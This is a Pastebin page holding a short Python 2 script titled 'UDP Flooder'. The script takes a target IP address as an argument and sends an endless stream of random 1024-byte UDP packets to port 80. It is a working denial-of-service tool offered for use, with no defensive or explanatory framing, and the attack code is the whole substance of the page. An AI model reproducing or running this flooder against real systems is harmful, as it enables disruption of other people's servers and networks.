Advertisement
Ak8D

UDP Flooder

Aug 23rd, 2012
1,055
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.61 KB | None | 0 0
  1. import socket, random, sys
  2.  
  3. for arg in sys.argv:
  4.     if arg.lower() == '-ip':
  5.         iptoflood = sys.argv[int(sys.argv[1:].index(arg))+2]
  6.     elif len(sys.argv) < 3:
  7.         print '[!] Usage: python filename.py -ip <IP>'
  8.         sys.exit(1)
  9.  
  10. socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  11. bytes = random._urandom(1024)#change packet size here
  12.  
  13. def flood(ipaddress):
  14.     print '[+] IP set to ' + ipaddress
  15.     raw_input('[!] Press enter to start!')
  16.     sent = 0
  17.     while True:
  18.         socket.sendto(bytes, (ipaddress, 80))#change port here
  19.         print '[+] Sent %s packets to %s' % (sent, ipaddress)
  20.         sent = sent + 1
  21.  
  22. flood(iptoflood)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement